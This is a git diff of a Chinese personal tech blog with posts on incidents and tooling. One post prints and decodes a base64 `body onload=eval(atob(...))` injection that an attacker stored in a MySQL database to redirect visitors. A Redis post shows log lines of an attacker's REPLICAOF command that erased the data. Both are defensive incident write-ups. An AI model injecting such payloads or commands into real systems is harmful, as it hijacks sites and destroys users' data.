在日志这一块,看到了这么个东西,类似一串js代码,后面去看了下数据库,不看不得了,一看吓一跳,数据库里很多表的字段内容都被纂改了

完整内容如下

<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))>
+

中间是一段base64编码的url,解码过后就是

window.location.replace("https://hzr0dm28m17c.com/ebmss0jq7?key=c90a3363013c5fcaaf8bf5a9a4e4086a")
+

大概是想实现js代码被加载的时候自动跳转到这个网站,这个网站后面去看了下,就是个普通的色情网站。

问题

问题出现在root密码太过简单,就是123456,由于在使用的时候用的是另一个数据库账号,初始化的root密码忘记改了,所以还是留着123456没有变,这才有了可乘之机。

解决

最后是手动将脏数据清洗掉,才恢复了正常,以后还是要定时备份,做好安全工作。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/mysqlpassword.html b/posts/problem/mysqlpassword.html new file mode 100644 index 0000000..5d62c7a --- /dev/null +++ b/posts/problem/mysqlpassword.html @@ -0,0 +1,48 @@ + + + + + + + + Mysql忘记数据库密码 | 寒江蓑笠翁 + + + + + + +

Mysql忘记数据库密码

寒江蓑笠翁小于 1 分钟问题记录数据库忘记密码Mysql

Mysql忘记数据库密码

记录了Mysql忘记密码的几种解决方式


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/oom_pprof.html b/posts/problem/oom_pprof.html new file mode 100644 index 0000000..6cbed25 --- /dev/null +++ b/posts/problem/oom_pprof.html @@ -0,0 +1,49 @@ + + + + + + + + 记一次因日志而引发的OOM问题 | 寒江蓑笠翁 + + + + + + +

记一次因日志而引发的OOM问题

寒江蓑笠翁大约 4 分钟问题记录gopprof内存分析

记一次因日志而引发的OOM问题


问题

在最近的项目中,后端隔三岔五就会因为内存爆满而崩溃,这种情况差不多两三天就会发生一次。由于在项目中在向Steam请求模组信息时会开启多个协程并发请求,因此猜测可能是因为协程未能正常退出而导致的内存泄露问题,于是便通过pprof来对应用进行性能分析。

$ go tool pprof -http=:8080 http://127.0.0.1:9090/debug/pprof/heap
+

通过对pprof的可视化分析,发现与猜测的结果并不一致,在分析的过程中,发现获取服务端状态的这个接口在调用时内存占用会猛增,该接口主要用于判断游戏服务端是否启动,判断的逻辑就是去读取游戏服务端的日志文件,而有些用户的游戏服务端会一直开着,导致其文件大小可能会非常大,目前最大的发现有800MB,由于在读日志的时候是将其全量加载到内存中,那么这样一来就会导致内存占用升高。

图片已脱敏
图片已脱敏

并且在日志读取完后还要对其进行处理,由于go语言的字符串写时复制特性限制,在处理日志的时候还会拷贝一份副本,分配的内存就会更大。由于很多的功能都依赖于游戏日志,比如获取与服务端交互的命令结果,判断服务端的启动状态等等,它们在不断频繁地将日志全量加载到内存中后,必然会导致内存不足而OOM。

所以问题的根本原因就在于,游戏日志的读取加载的方法不正确。

解决

由于日志文件过大,所以不应该将其全量加载到内存中,在进行逐个分块读取过后,内存占用了有了较为明显的下降。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/redisdataloss.html b/posts/problem/redisdataloss.html new file mode 100644 index 0000000..d4cf1d4 --- /dev/null +++ b/posts/problem/redisdataloss.html @@ -0,0 +1,81 @@ + + + + + + + + 记一次Redis线上数据突然丢失的问题 | 寒江蓑笠翁 + + + + + + +

记一次Redis线上数据突然丢失的问题

寒江蓑笠翁大约 6 分钟问题记录

记一次Redis线上数据突然丢失的问题


之前的项目用到了redis来存放一些游戏的模组信息以及一些非结构化配置,突然有一次甲方告诉我系统出问题了,我一去看发现redis里面的数据全没了,由于redis没有开启日志,一时半会排查不出来是什么问题。就把redis aof备份粒度做的更细了一些,暂时想到的可能是RDB跟AOF覆盖掉了,但是这种情况应该非常小,事后还做好了日志方便下次排查,弄好之后这件事就这么过去了,

直到两个星期后,又发生了这个问题,查看到系统日志是下午15:26:51发生的问题,对比redis日志,刚开始还是一些正常的备份信息,像下面这样

1:M 30 Jul 2023 10:48:10.190 * Background saving terminated with success
+1:M 30 Jul 2023 10:53:11.082 * 10 changes in 300 seconds. Saving...
+1:M 30 Jul 2023 10:53:11.083 * Background saving started by pid 28
+28:C 30 Jul 2023 10:53:11.115 * DB saved on disk
+28:C 30 Jul 2023 10:53:11.116 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
+1:M 30 Jul 2023 10:53:11.183 * Background saving terminated with success
+1:M 30 Jul 2023 11:04:58.595 * 10 changes in 300 seconds. Saving...
+1:M 30 Jul 2023 11:04:58.595 * Background saving started by pid 29
+29:C 30 Jul 2023 11:04:58.612 * DB saved on disk
+29:C 30 Jul 2023 11:04:58.613 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
+1:M 30 Jul 2023 11:04:58.696 * Background saving terminated with success
+1:M 30 Jul 2023 11:09:59.052 * 10 changes in 300 seconds. Saving...
+1:M 30 Jul 2023 11:09:59.053 * Background saving started by pid 30
+30:C 30 Jul 2023 11:09:59.082 * DB saved on disk
+30:C 30 Jul 2023 11:09:59.082 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
+1:M 30 Jul 2023 11:09:59.153 * Background saving terminated with success
+1:M 30 Jul 2023 12:18:49.511 * 10 changes in 300 seconds. Saving...
+1:M 30 Jul 2023 12:18:49.512 * Background saving started by pid 31
+31:C 30 Jul 2023 12:18:49.553 * DB saved on disk
+31:C 30 Jul 2023 12:18:49.554 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
+1:M 30 Jul 2023 12:18:49.612 * Background saving terminated with success
+1:M 30 Jul 2023 12:23:50.018 * 10 changes in 300 seconds. Saving...
+1:M 30 Jul 2023 12:23:50.018 * Background saving started by pid 32
+32:C 30 Jul 2023 12:23:50.045 * DB saved on disk
+32:C 30 Jul 2023 12:23:50.046 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
+1:M 30 Jul 2023 12:23:50.119 * Background saving terminated with success
+

看到出问题的时间点的时候就发现不对劲了,

1:S 30 Jul 2023 08:26:51.881 * Connecting to MASTER 35.158.95.21:60107
+1:S 30 Jul 2023 08:26:51.884 * MASTER <-> REPLICA sync started
+1:S 30 Jul 2023 08:26:51.884 * REPLICAOF 35.158.95.21:60107 enabled (user request from 'id=14479 addr=101.201.223.144:51768 laddr=172.17.0.11:6379 fd=10 name= age=55 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=28 qbuf-free=20446 argv-mem=24 multi-mem=0 rbs=1024 rbp=609 obl=0 oll=0 omem=0 tot-mem=22320 events=r cmd=slaveof user=default redir=-1 resp=2')
+1:S 30 Jul 2023 08:26:52.100 * Non blocking connect for SYNC fired the event.
+1:S 30 Jul 2023 08:26:52.324 * Master replied to PING, replication can continue...
+

尤其是这一段Connecting to MASTER 35.158.95.21:60107,这个IP并不是甲方的IP,并且系统是单机应用,redis都是直接和后端部署在同一个物理机上的,并没有采用redis集群和主从复制。

MASTER <-> REPLICA sync started
+REPLICAOF 35.158.95.21:60107 enabled (user request from 'id=14479 addr=101.201.223.144:51768 laddr=172.17.0.11:6379 fd=10 name= age=55 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=28 qbuf-free=20446 argv-mem=24 multi-mem=0 rbs=1024 rbp=609 obl=0 oll=0 omem=0 tot-mem=22320 events=r cmd=slaveof user=default redir=-1 resp=2')
+

复制master数据后,我们的数据就没了,然后备份过后redis数据也没了。多半是redis密码太简单导致的问题,于是修改密码后再看后续的情况。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/robots.txt b/robots.txt index 8d25d2d..37f04ef 100644 --- a/robots.txt +++ b/robots.txt @@ -2,4 +2,4 @@ User-agent:* Disallow: -Sitemap: https://zihu.github.io/sitemap.xml +Sitemap: https://246859.github.io/my-blog-giscus/sitemap.xml diff --git a/rss.xml b/rss.xml index b34de7a..eaaa620 100644 --- a/rss.xml +++ b/rss.xml @@ -1,23 +1,4047 @@ - + - - 紫狐 - https://zihu.github.io/ - 紫狐的个人博客 + + 寒江蓑笠翁 + https://246859.github.io/my-blog-giscus/ + 寒江蓑笠翁的个人博客 zh-CN - Sat, 22 Jun 2024 14:55:01 GMT - Sat, 22 Jun 2024 14:55:01 GMT + Sat, 22 Jun 2024 15:08:41 GMT + Sat, 22 Jun 2024 15:08:41 GMT vuepress-plugin-feed2 https://validator.w3.org/feed/docs/rss2.html 技术日志 + 游戏杂谈 生活随笔 + 问题记录 + 算法 + 二叉树 + 每日发现 + 数据库 + docker + Git Linux + 设计模式 + python + rust + + AutoToolBox + https://246859.github.io/my-blog-giscus/posts/code/autotoolbox.html + https://246859.github.io/my-blog-giscus/posts/code/autotoolbox.html + AutoToolBox + AutoToolBox 一个用Go编写的小工具 - Windows下ToolBox菜单自动生成器 + 技术日志 + Sun, 23 Oct 2022 00:00:00 GMT + AutoToolBox +
+

一个用Go编写的小工具 - Windows下ToolBox菜单自动生成器

+ +
+

简介

+

youtrack问题链接

+

JetBrain旗下的ToolBox是一款方便管理IDE版本的工具软件,但是对于右键菜单打开项目的功能却迟迟不支持,但是在youtrack上的相关问题最早可以追溯到五年前。网上的大多数方法都是直接将对应IDE的exe文件路径写入注册表中,此种方法对于使用ToolBox的用户来说,更新和回退版本后就会导致原有的菜单失效,并且手动修改注册表也十分的繁琐。所幸的是,ToolBox提供了一个稳定的Shell脚本路径,通过将该路径下的脚本注册到注册表中,便可以实现右键菜单的功能。AutoToolBox做的就是根据正确的输入路径,生成两份Windows注册表脚本,直接点击脚本运行就可以修改注册表,由于该目录下的脚本是ToolBox维护的,所以不用担心更新和回退版本失效的问题。

+

项目地址:246859/AutoToolBox: A simple tool that can automatically generate ToolBox registry scripts, only for Windows systems. (github.com)

+

脚本路径

+

首先你需要找到shell脚本路径,脚本路径可以在ToolBox的设置中直接查看,例如

+
image-20230217210439344
image-20230217210439344
+

路径为

+

这个路径就是程序的输入路径

+

目录结构

+

在使用之前,先确保输入目录的结构如上,ico文件夹是图标文件夹,ToolBox不会自动创建该目录,需要用户自行创建然后去对应的IDE目录里面寻找对应的图标文件,需要注意的是cmd文件与ico文件名称要一致。

+

生成脚本

+

使用Github上最新的Relaese的二进制可执行文件,执行如下命令

+

最后会在目标目录下生成下面的文件夹

+

文件夹内有两个脚本:

+
    +
  • toolboxAdd.reg - 用于修改注册表,使用后将会添加到右键菜单中
  • +
  • toolboxRemove.reg - 用于撤销对注册表的修改,使用后将会从右键菜单中删除已修改的项
  • +
+
image-20230217211635959
image-20230217211635959
+

在Windows系统下reg脚本可以直接点击执行,当你看到如下输出时,说明执行成功。

+

效果

+

最终效果是无论右键文件夹或是右键点击文件夹背景都可以看到如下类似的菜单

+
image-20230217212654787
image-20230217212654787
+]]>
+ +
+ + 位运算保存状态 + https://246859.github.io/my-blog-giscus/posts/code/bitflag.html + https://246859.github.io/my-blog-giscus/posts/code/bitflag.html + 位运算保存状态 + 位运算保存状态 + 技术日志 + Wed, 29 Nov 2023 00:00:00 GMT + 位运算保存状态 +
+ +
+

理论

+

在go里面,没有提供枚举这一类型,所以我们会通过声明常量来表示一些特定的状态,比如下面这种形式

+

通过const + iota的方式来定义一些状态,这样做的缺点在于,一个变量只能同时存储一个状态,如果要同时表示多个状态,就需要使用多个变量,而使用位来存储这些状态可以很好的解决这种问题,其过程只涉及到了简单的位运算。

+

比特位存储状态原理是每一个比特位表示一个状态,1表示拥有此状态,0表示未拥有此状态,那么总共能表示多少个状态取决于有多少个比特位,在go语言中,使用uint64类型可以最多可以表示64个状态。在这种情况下,其所存储状态的值就有一定的要求,其值必须是2的整数次方,比如2的2次方

+

2的8次方

+

假设现在用一个无符号8位整数来存储这些状态,意味着可以有8个比特位可以使用,也就是uint8(0)

+

将其与0b10进行或运算,或运算的符号是|

+

或运算的规则是同为0取0,否则取1,进行或运算后,就可以将该状态的标志位记录到变量中。同理,也可以存储多个其它不同的状态,将上面计算的结果与0b10000000再次进行或运算后,此时状态变量的二进制位中,已经有两个比特位为1。

+

如果要一次性存储多个状态,可以先将几个状态进行或运算,再存储到状态变量中,比如一次性存储状态ABCD

+

最终status的值就是

+

既然有存储状态,就肯定要读取状态,读取状态的原理同样十分简单。假如要确认状态A是否存在于status变量中,使用与运算&即可,其规则为同为1取1,否则取0,由于这些状态值全都是2的正整数次方,二进制位中永远只有一个位为1,所以两者进行与运算时,只有相同的那一个比特位才能为1,其余全为0,如果计算结果为0,说明指定位不相同,则不包含此状态,计算过程如下。

+

同理,如果想判断多个状态是否存在于status中,将多个状态值进行或运算,然后将结果与status进行与运算即可,比如下面判断是否同时包含状态ABC。

+

最后一个操作就是撤销状态,将指定状态从status中删除,经过上面两个操作的讲解后相信可以很容易就能想到删除的原理。实际上有两种方法可以操作,其结果都是一样的,第一种是将指定状态取反,然后将结果与status相与,就能得到删除指定状态后的status。假设删除状态D其过程如下,

+

取反会将自身的每一个比特位反转,反转后只有一个比特位为0,也就是要删除的比特位,这样一来将与status进行与运算,就能将指定比特位置0。另一个方法就是直接将两者进行异或运算,异或的规则是不相同取1,相同取0,计算过程如下

+

可以看得出来异或就等于取反后相与,两者是完全等价的。如果要删除多个状态,跟之前同理,多个状态进行或运算后再进行异或,比如下面删除状态ABC

+

实现

+

理论部分讲完过后,下面看看怎么用代码来进行实现,这种操作是不限语言的,这里使用go语言来进行实现。需要注意的是,go语言中取反运算符和异或运算符是同一个,都是^符号。

+

首先可以声明一个BitFlag类型,其底层类型为uint64,最多可以同时存储64个状态,在实际代码中可以直接使用位运算来进行操作,这里选择稍微封装了一下。

+

可以看到代码量非常少,实现起来也很简单,下面是一个简单的使用案例

+

输出

+
]]>
+ +
+ + docker安装mysql和redis + https://246859.github.io/my-blog-giscus/posts/code/docker_mysql.html + https://246859.github.io/my-blog-giscus/posts/code/docker_mysql.html + docker安装mysql和redis + docker安装mysql和redis + 技术日志 + Thu, 29 Jun 2023 00:00:00 GMT + docker安装mysql和redis +
+ +
+

Mysql

+

首先拉取mysql的镜像,要确保major版本是8,例如8.0.33

+

这里要创建mysql的挂载文件夹,以防数据丢失,这里放在/root/mysql路径下为例子

+

随后在/root/mysql/confg/目录下创建my.cnf文件,内容如下

+

然后运行如下命令启动容器即可,下面分别创建了mysql日志,mysql数据库,mysql配置的挂载数据卷,这里的MYSQL_ROOT_PASSWORD=123456就是数据库的root密码,可以自己改成其他的,环境变量MYSQL_DATABASE=dst会自动创建一个名为dst的数据库,按需修改。

+

创建完成后登录mysql看看成功没有

+

看到有dst数据库就说明mysql成功安装.

+

到此安装成功,然后记录下数据库的密码,后面后端会用到。

+

Redis

+

首先拉取redis镜像,保证redis版本在6以上

+

创建redis的挂载目录

+

进入~/redis/目录,创建配置文件redis.conf,内容如下,密码自己定。

+

然后运行容器

+

redis默认不允许远程访问,所以需要额外配置,修改配置文件如下

+

redis各版本配置文件:Redis configuration | Redis

+]]>
+ +
+ + Docker安装nginx + https://246859.github.io/my-blog-giscus/posts/code/docker_nginx.html + https://246859.github.io/my-blog-giscus/posts/code/docker_nginx.html + Docker安装nginx + Docker安装nginx docker安装nginx + 技术日志 + Thu, 29 Jun 2023 00:00:00 GMT + Docker安装nginx +
+

docker安装nginx

+ +
+

Docker安装nginx时一般都是直接使用命令

+

但后来还是觉得直接把静态文件打包进镜像可能会更加方便些

+

运行命令

+

目录下的html是打包好的静态文件,nginx是nginx配置文件夹。

+]]>
+ +
+ + 在Linux搭建DST专用服务器 + https://246859.github.io/my-blog-giscus/posts/code/dst.html + https://246859.github.io/my-blog-giscus/posts/code/dst.html + 在Linux搭建DST专用服务器 + 在Linux搭建DST专用服务器 本文主要讲解了如何在Linux环境下搭建Dont Starve Together的专用服务器,以及一些坑。 + 技术日志 + Sun, 09 Apr 2023 00:00:00 GMT + 在Linux搭建DST专用服务器 +
+

本文主要讲解了如何在Linux环境下搭建Dont Starve Together的专用服务器,以及一些坑。

+ +
+

环境准备

+

在开始之前需要准备以下东西:

+
    +
  • 一台装了Linux系统的云服务器,本文使用的是Ubuntu20LTS。
  • +
  • SSH客户端,本文使用的XShell
  • +
  • SFTP客户端,本文使用的是FillZilla
  • +
+

云服务器安全组要放行10800到12000范围端口,饥荒服务端差不多都在这个范围内,协议使用UDP。

+

创建用户

+

与服务器进行ssh连接过后,创建一个专门用于DST管理的用户,这样与系统隔离,方便后续管理。

+

然后进入dst的ssh目录

+

生成ssh密钥对,将公钥注册到服务器中

+

把私钥保存下来这样后续就可以使用ssh私钥进行登录。

+

依赖准备

+

首先首先要给软件管理工具加一个i386的架构,有warning忽略掉,然后看看加进去没有

+

然后再下载所需要的32位依赖

+

上述依赖是必须安装的,否则在运行可执行文件时会报错无法找到文件。

+

安装SteamCMD

+
+

提示

+

如何在Linux上安装SteamCMD官方有非常详细的中文教程,Steam 控制台客户端 - Valve Developer Community (valvesoftware.com)

+
+

先切换到dst用户

+

然后下载SteamCMD压缩包

+

将其解压到steam目录

+

然后进入steam目录执行steamcmd.sh脚本启动进行安装

+

或者也可以直接下载软件包,然后再启动steamcmd

+

等待安装完成后在steamcmd里面执行如下命令来设置安装目录

+
+

提示

+

需要注意的是设置安装目录必须在登录之前操作,登陆后不能再修改该项

+
+

然后再登录steam,一般使用匿名登录。

+

等待登录完成后下载饥荒服务端,343050是它的appid,这里大概要等个几分钟,下载完毕后先退出。

+

进入到server目录下看看是不是安装到指定目录了,如下就说明安装成功了

+

开服

+

前往克雷官网,登录并注册申请服务器token

+
+

点击添加新的服务器

+
+

完成后点击下载设置,使用sftp将该文件夹传入/home/dst/.klei/DoNotStarveTogether目录下,这是默认的存档位置,没有这个文件夹就自行创建该文件夹。

+
+

然后需要下载一个多终端管理工具screen

+

然后在/home/dst目录下创建master.shcaves.sh,内容如下

+

最后运行脚本即可,如下

+
+

当两个maser终端和caves终端都输出sim paused时,说明开服成功,进入游戏在搜索你设置的服务器名称

+
+

能够搜索到并成功进入服务器,说明服务器搭建完毕。

+]]>
+ +
+ + Dstm项目完结 + https://246859.github.io/my-blog-giscus/posts/code/dstm.html + https://246859.github.io/my-blog-giscus/posts/code/dstm.html + Dstm项目完结 + Dstm项目完结 + 技术日志 + Sat, 08 Jul 2023 00:00:00 GMT + Dstm项目完结 +
+ +
+

Dstm全名Don’t Starve Together Manager,中文名饥荒联机版控制面板,基于docker实现,这个项目所有的内容由我独自一人完成,前前后后总共花费了接近三个月的时间,虽然钱有点少,但是收获还是蛮多的,于是写了这一篇文章记录一下。

+

历程

+

这个项目只是我在在校个人接的一个项目,所以没有严格的什么招标投标的流程。甲方是一个体量不算大的云服务商(注册资金100万左右),以前在他们那边买过云服务器,他们主营业务是《我的世界》面板服务器和VPS,本人也算是他们的一个老客户了。4月初的时候来找我谈这个项目,想要拓展饥荒这款游戏的业务,最初提出的是想要做一款类似翼龙的面板,由于老板本身不了解技术,需求提的很模糊(让我明白沟通的重要性),并且我对于这款游戏也是没有任何游玩经验,4月份大部分时间都是在熟悉游戏相关的内容以及模组拓展部分,并且花了两个星期写了一个前端的demo展示给甲方看,这之后才正式谈妥。4月末5月初算是真正明确了项目的方向,最开始前端挑选了一个相当优秀的开源脚手架(Vben),内置了丰富的功能和组件,让我节省了大量的时间和精力,让我能够专注于后端代码的编写,后端项目是完全从零开始的,没有用其他的脚手架,所以花费的时间会更多一些,难度自然也就更大。

+
+

对于前端而言,虽然我主要学习方向是后端,以前多多少少学过前端的内容,虽然界面做出来算不上多美观,但是至少界面简洁,功能正常。以前在编写mc插件的时候用的最多的就是js,有着脚手架的加持和开源的UI组件库,对我而言整个前端开发的过程并没有遇到太大的阻挠。

+

后端是这个项目难度最大的点,面板需要管理一群docker虚拟容器,此前对于docker还仅停留在使用的程度,这是我从未接触过的领域,并且还要熟悉饥荒这款游戏的内容,模组,脚本等等,饥荒的游戏脚本大部分都是由lua编写的(还好以前了解过)。面对一堆的陌生的内容,在初期可以说是花费了大量的时间去查资料和学习(不得不感慨中文互联网信息实在太匮乏了),docker这部分有docker官方提供的Docker Engine API,饥荒这部分的资料来源是克雷官方的fortum论坛和百度贴吧论坛(贴吧老哥是真的强),以及一些饥荒有关的开源项目(感谢开源)。

+
+

到了写这篇文章的时候,项目功能已经全部完成,总计125个接口,只剩下最后的一点测试。一路过来也是挺不容易的,在推进项目的过程中还要兼容学校的课程,期末了还要考试,不过到最后还是在暑假初期结束这个项目。

+

技术栈

+

项目本身是前后端分离的,前端主要采用的vue3框架,后端采用go作为开发语言。

+

结构

+
+

前端

+
    +
  • 框架:Vue3
  • +
  • 构建工具:Vite
  • +
  • 开发语言:TypeScript
  • +
  • 脚手架:Vben-amdin Github 开源地址
  • +
  • Ajax:Axios
  • +
  • 状态管理:pinia
  • +
  • 路由:Vue-Router-Next
  • +
  • UI组件库:Ant-Design-Vue
  • +
+

后端

+
    +
  • 开发语言:Go 1.20.2
  • +
  • Http框架:Gin
  • +
  • 数据库:Mysql,Redis
  • +
  • ORM:GORM
  • +
  • 认证:JWT
  • +
  • 配置管理:viper
  • +
  • 权限管理:casbin
  • +
  • 日志框架:zap
  • +
  • 定时任务:robfig/cron
  • +
+

数据库

+

mysql主要是用于存放一些结构化的信息,例如api权限表,用户信息,实例信息,策略信息以及端口映射等等,这个项目的表结构并不复杂,就七张表,

+

因为大部分信息都是直接从dockerapi中读取的,系统本身并不需要存放什么过多的数据。

+

redis主要用于存放一些非结构化的信息,系统分发的token和密钥,用于主动过期处理,另外还会存放每一个实例的模组下载信息,以及系统设置。redis数据格式相对mysql而言较为松散,没有那么严格的结构,项目均是采用json格式存放的redis数据。

+
测试服的界面
测试服的界面
+

主要难点

+

下面这些难点是困扰我比较久的,虽然每一个点描述的比较少,但实际上为了解决它们,我花费了相当多的时间去试错和测试。

+

实例资源限制

+

容器即实例,资源限制这一块是docker利用docker提供的支持,在最开始了解时,发现有两种方法,一种是使用devicemapper驱动的LVM,另一种是使用overlay2驱动的xfs文件系统的quota功能。项目选择了devicemapper,因为了解的早一些,不过docker官方在后续版本声明devicemapper驱动可能会停止维护了。

+

创意工坊模组

+

模组是这个游戏相当重要的一块功能,这部分主要是借助steamcmd和SteamWebApi来解决的,一部分模组会直接提供url以供下载,另一部分则需要使用steamcmd来进行下载。

+

模组信息解析

+

饥荒的模组都是由lua脚本编写的,项目采用了一个开源的由go编写的lua虚拟机,通过lua虚拟机来解析模组信息,将lua信息解析成go对象。

+

世界设置解析

+

这一部分应该算得上是最繁杂的了,最初想的是一个个手动维护配置项,但是多大两百个的配置项让人望而却步。后来需要去读取游戏文件的中的tex文件,将其转换成图片格式的文件,然后再读取游戏脚本以获取文本翻译和世界配置的每一个配置项。

+

服务端管理

+

一个饥荒服务器有两个服务端,地面服务端与洞穴服务端,使用screen进行管理,通过将预先编写好的管理脚本打包到镜像中,后续的管理就变得相当方便。

+]]>
+ +
+ + Docker容器磁盘热扩容 + https://246859.github.io/my-blog-giscus/posts/code/expand.html + https://246859.github.io/my-blog-giscus/posts/code/expand.html + Docker容器磁盘热扩容 + Docker容器磁盘热扩容 本文主要讲解Docker容器磁盘热扩容,不需要重启docker服务,也不需要重启容器 + 技术日志 + Sat, 20 May 2023 00:00:00 GMT + Docker容器磁盘热扩容 +
+

本文主要讲解Docker容器磁盘热扩容,不需要重启docker服务,也不需要重启容器

+ +
+

最近项目里的需求需要实现Docker容器的热扩容,前一阵子给Docker驱动换到了devicemapper,对容器的资源限制可以更加精确和友好,刚好记录一下整个过程。

+

环境准备

+

系统:ubuntu22.04LTS

+

Docker:24.00

+

Go版本:1.20.4

+
+

提示

+

在开始之前你需要确保Docker驱动是devicemapper,并且宿主机和Docker的文件系统是ext4

+
+

查看容器大小

+

这里拿一个nginx容器做实验,先进入容器查看一下大小,一般在创建容器时若不指定默认大小为10G。

+

可以看到rootfs的size是11G,并且文件系统类型是ext4,这里需要将/dev/mapper/docker-8:3-2097855-40ca4227a94fe9cd1dc00963961cc16c8fc0bd6d650e72cfc0c10bc34a9c08f6记下来,后续操作会用到。

+

准备扩容

+

这时回到宿主机,查看之前复制的文件系统名占用的磁盘扇区数

+

可以看到扇区数是从0到20971520,假设要扩容到20G,需要的扇区数就是20*1024*1024*1024/512=41943040,然后再修改表

+

重载一下

+

再次查看扇区数

+

可以看到扇区已经变成了41943040,最后需要调整文件系统的大小

+

确认大小

+

再次进入容器查看

+

可以看到确实变成了20G。

+]]>
+ +
+ + 使用geo2ip将IP地址转换为地理信息 + https://246859.github.io/my-blog-giscus/posts/code/geo2ip.html + https://246859.github.io/my-blog-giscus/posts/code/geo2ip.html + 使用geo2ip将IP地址转换为地理信息 + 使用geo2ip将IP地址转换为地理信息 + 技术日志 + Thu, 14 Mar 2024 00:00:00 GMT + 使用geo2ip将IP地址转换为地理信息 +
+ +
+

之前推荐了一个ip地理信息库ip2location,其免费版只能查询国家代码,并且离线数据库不支持全量加载到内存中,由于这些缺点,我找了一个新的替代品geoip2,该离线数据库仍然是由一个商业公司在运营,但是相比前者要良心非常多,免费版支持定位到城市,且支持多语言,同时支持csvmmdb两种格式。

+

下载

+

首先需要在网站注册一个账号,然后才能下载免费版

+

官网:Industry leading IP Geolocation and Online Fraud Prevention | MaxMind

+

下载地址:Download GeoIP Databases | MaxMind

+

然后安装他们提供的go SDK库

+

使用

+

使用起来有两种,一种是从文件读

+

另一种是把数据库全量加载到内存中,总共也才30MB不到,这样做可以省去文件IO

+

案例

+

通过IP地址查询地区信息

+

输出

+

通过IP地址查询城市信息

+

输出

+

通过上面的两个输出可以看到,它支持多种语言,时区等等信息,除此之外它还支持经纬度定位等其它功能,不过不是很准确。

+

性能

+

写一个简单的基准测试

+

平均耗时在5微秒左右

+]]>
+ +
+ + 使用ip2location包转换IP地址 + https://246859.github.io/my-blog-giscus/posts/code/go_ip2loc.html + https://246859.github.io/my-blog-giscus/posts/code/go_ip2loc.html + 使用ip2location包转换IP地址 + 使用ip2location包转换IP地址 + 技术日志 + Mon, 11 Mar 2024 00:00:00 GMT + 使用ip2location包转换IP地址 +
+ +
+

ip2loction是一个组织,它们提供IP数据库,可以通过IP地址解析道各种各样的信息,比如地区代码,时区等等,网站:https://lite.ip2location.com/。

+

免费数据库只能查询国家代码,更多功能只有付费数据库可以使用,它们的数据库也就是一个单独的文件或者CSV文件。

+

下载

+

下载地址:Database Download (ip2location.com)

+

文档地址:IP2Location Go Package — IP2Location Go (ip2location-go.readthedocs.io)

+

使用

+

它们提供了专门GO API来操作数据库,所以对于go而言可以直接导入它们编写好的库就可以直接使用。

+

然后直接通过go代码打开文件数据库,lite版本的数据文件很小只有2MB左右,完全可以嵌入到程序中,下面是一个使用案例

+

输出

+

从输出可以看到,只能查询国家代码,如果想要时区之类的一些信息需要付费购买更高级的数据库,不过对大多数人而言国家代码已经够用了。

+

性能

+

下面是一个基准测试,来测试lite版本的查询性能如何

+

结果如下

+

可以看到的是单次查询性能在18微秒左右,还是比较可以的。

+]]>
+ +
+ + Go语言实现按照行数逆序读取文件 - 模拟tail命令 + https://246859.github.io/my-blog-giscus/posts/code/go_tail_read_file.html + https://246859.github.io/my-blog-giscus/posts/code/go_tail_read_file.html + Go语言实现按照行数逆序读取文件 - 模拟tail命令 + Go语言实现按照行数逆序读取文件 - 模拟tail命令 + 技术日志 + Mon, 15 Apr 2024 00:00:00 GMT + Go语言实现按照行数逆序读取文件 - 模拟tail命令 +
+ +
+

编写

+

Linux中的tail命令很多人应该都用过,我们经常用它来看日志

+

如果在用go语言实现这一个功能,也是非常的简单,要点就是利用Seek这一函数

+

它的第一个参数是偏移量,第二个参数总共有三个值

+
    +
  • 0,相对于文件头
  • +
  • 1,相对于当前的偏移量
  • +
  • 2,相对于文件末尾
  • +
+

一个需要注意的点就是换行符问题,在linux上换行符是CR\n,而在windows上则是CRLF\r\n,在计算偏移量的时候这个问题不能忽视掉,在逆序读取的时候就一个字节一个字节的读,当遇到\n时就停止,然后再根据不同系统来更新偏移量。最后还需要注意的是逆序读取的偏移量不能小于文件大小的负数,否则就越过文件的起始位置了,在思路明确了以后,编码就比较轻松了,代码整体如下所示。

+

测试

+

文件test.txt

+

一个简单的测试代码

+

输出

+
]]>
+ +
+ + 在Linux上搭建K8s集群 + https://246859.github.io/my-blog-giscus/posts/code/k8s_install.html + https://246859.github.io/my-blog-giscus/posts/code/k8s_install.html + 在Linux上搭建K8s集群 + 在Linux上搭建K8s集群 最近捣鼓了下用虚拟机搭建k8s集群,坑还是挺多的。 + 技术日志 + Mon, 25 Sep 2023 00:00:00 GMT + 在Linux上搭建K8s集群 +
+

最近捣鼓了下用虚拟机搭建k8s集群,坑还是挺多的。

+ +
+
+

最近在学习k8s,不得不说这玩意运行起来还是相当的麻烦,这里记录一下,以免后面忘了。事先准备好三台ubuntu22.04虚拟机,一台用作control plane,两台用作worker node。

+

前置准备

+

在开始安装k8s之前,需要做一些前置的准备。

+

关闭firewalld

+

k8s有着自己的网络策略配置功能,关闭friewalld是为了避免起冲突。

+

禁用selinux

+

selinux是linux的一个安全子系统,很多服务器未为了避免麻烦都会把它关了,ubuntu在装机的时候不会自带这玩意,但如果你装了的话可以按照下面的步骤关闭。

+

关闭swap

+

kubelet运行时明确不支持swap,也就是交换内存,一部分原因是想让程序在内存耗尽以后正常OOM而不是一直靠swap苟着从而造成不必要的损失。如果未关闭swap直接启动的话,kubelet在启动时会显示如下信息告诉你应该关闭swap,否则不让你启动。

+

首先执行命令关闭交换分区

+

然后修改fstab文件

+

注释掉如下行

+

执行如下命令查看swap分区情况,如果关闭了的话就不会有任何显示

+

配置网络

+

转发 IPv4 并让 iptables 看到桥接流量

+

通过运行以下指令确认 br_netfilteroverlay 模块被加载:

+

